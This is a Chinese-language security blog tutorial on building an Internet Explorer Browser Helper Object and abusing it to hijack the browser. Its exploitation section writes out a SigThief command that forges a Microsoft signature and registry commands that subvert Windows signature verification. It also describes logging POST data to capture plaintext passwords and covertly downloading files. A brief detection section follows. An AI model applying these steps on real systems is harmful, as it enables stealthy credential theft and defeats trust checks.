利用 BHO 实现 IE 浏览器劫持
0x00 前言
本文源于一个隐蔽连接的测试,模拟 IE 浏览器发起网络连接,能绕过某些防护产品拦截发起网络连接的第三方程序
模拟 IE 浏览器发起网络连接的方法有很多种,其中,利用 BHO 劫持 IE 浏览器存在诸多优点(开放接口、简单高效、功能丰富等),所以本文将要介绍 BHO 的开发和劫持利用思路
0x01 简介
本文将要介绍以下内容:
- BHO 简介
- 开发 BHO
- 利用思路
- 实际测试
- 防御
0x02 BHO 简介
BHO,全称 Browser Helper Object(浏览器辅助对象)
微软推出的作为浏览器对第三方程序员开放交互接口的业界标准
BHO 的作用:
- 获取浏览器行为,如“后退”、“前进”、“当前页面”等
- 控制浏览器行为,如修改替换浏览器工具栏,添加自己的程序按钮等
BHO 依托于浏览器主窗口, 与浏览器实例生命周期一致,即浏览器页面打开时 BHO 对象运行,页面关闭时随之结束
使用 BHO 时需要注册,相当于写入注册表,位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}
和 HKEY_CLASSES_ROOT\CLSID\{GUID}
0x03 开发 BHO
本节仅作简要介绍
开发工具: VS2012
1、生成 dll
新建
- Visual C++
- ATL
添加
- 类
- ATL
- ATL 简单对象
,设定简称为 HelloWorldBHO
,选中 IObjectWithSite(IE 对象支持)
修改以下文件:
- HelloWorldBHO.h
- HelloWorldBHO.cpp
- dllmain.cpp
- HelloWorld.rgs
注:详情可参考 http://blog.csdn.net/feier7501/article/details/11266345
helloworld.rgs 内保存 BHO 的 GUID,如下图
HelloWorldBHO.rgs 内保存 BHO 的名称,如下图
helloworld.rc 内的 CompanyName
代表发行者, PRODUCTVERSION
代表版本,如下图
注:以上三个图对应下文加载项的显示信息
HelloWorldBHO.cpp 保存 IE 浏览器中不同事件对应的操作,这里仅介绍一段实例代码(详细代码参照开源工程),实现当页面加载完成时,弹框显示当前 URL,关键代码如下:
void STDMETHODCALLTYPE CHelloWorldBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
BSTR url = pvarURL->bstrVal;
CComBSTR u(url);
// Retrieve the top-level window from the site.
HWND hwnd;
HRESULT hr = m_spWebBrowser->get_HWND((LONG_PTR*)&hwnd);
if (SUCCEEDED(hr))
{
MessageBox(0, u, L"the url is", MB_OK);
}
}
编译生成 helloworld.dll
注:如果 VS2012 不是管理员权限,编译时提示无法注册,接下来可以手动注册
2、注册 dll
需要管理员权限,命令如下:
regsve32 helloworld.dll /s
注:/s
参数用来去掉注册成功的提示框,相当于写入注册表,位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}
和 HKEY_CLASSES_ROOT\CLSID\{GUID}
补充:卸载 dll:
regsve32 helloworld.dll /s /u
或者删除对应的注册表键值
0x04 实际测试
测试系统: Win 7x86 IE8
打开 IE 浏览器,弹出对话框,显示当前 URL,如下图
查看 IE 的加载项,位于 工具
- 管理加载项
,获得加载项信息,如下图
其中的名称、发行者、版本可通过前文的 helloworld.rgs、HelloWorldBHO.rgs、helloworld.rc 指定,文件日期对应 dll 的修改时间
由于我们自己生成的 dll 没有微软签名,所以显示 未验证
0x05 利用思路
1、伪造微软签名,隐藏 BHO
向 helloworld.dll 添加微软的 Authenticode 签名,修改注册表劫持系统的签名验证功能,使签名生效
需要使用 Microsoft Corporation 的签名,可在 Office 文件中获得,可用的路径: C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL
使用 SigThief 添加签名,下载地址:https://github.com/secretsquirrel/SigThief
参数:
sigthief.py -i "C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL" -t helloworld.dll -o new.dll
生成 new.dll
修改注册表,劫持签名签证功能: (管理员权限)
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
注册 dll,重新打开 IE,查看加载项,验证通过,如下图
注:修改 BHO 的信息能够进一步隐藏 BHO
2、抓取浏览器 POST 数据,记录明文口令
抓取浏览器 POST 数据的开源代码可从 github 获得,参考地址:https://github.com/liigo/bho
在 BeforeNavigate2 事件前抓取浏览器的 POST 数据
我在自己的工程中直接引用了其中的关键函数: STDMETHODIMP CBhoApp::Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pvarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr)
添加函数声明,实现记录日志的功能
注:GetTempPath 获取当前系统的 Temp 目录,IE 权限下实际的路径为 %Temp%\Low
完整代码已开源,地址如下:https://github.com/3gstudent/IE-BHO-POSTdata-Logger
抓取浏览器 POST 数据,能够获得用户输入的明文口令,例如 github 的登录密码,如下图
3、下载文件
通过这种方式下载文件,防火墙软件的管理端显示下载文件的程序为 IE 浏览器,能够在一定程度上实现隐藏
4、在 IE 页面注入 js
可参考以下开源工程做进一步修改:https://github.com/xiyiaoo/BHO
本文不做进一步介绍
5、补充
默认 BHO 的权限为 low,所以在操作上会有一些限制,如果通过其他方式获得了高权限,那么可供利用的方式会更多
0x06 防御检测
防御:
BHO 利用的前提是需要获得系统的管理员权限
检测:
- 查看 IE 浏览器中的加载项
- 查看 IE 进程加载的 dll
0x07 小结
本文介绍了 IE 浏览器辅助对象 BHO 的开发方法,分析了在获得系统管理员权限后的利用思路,部分利用技术点到为止。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论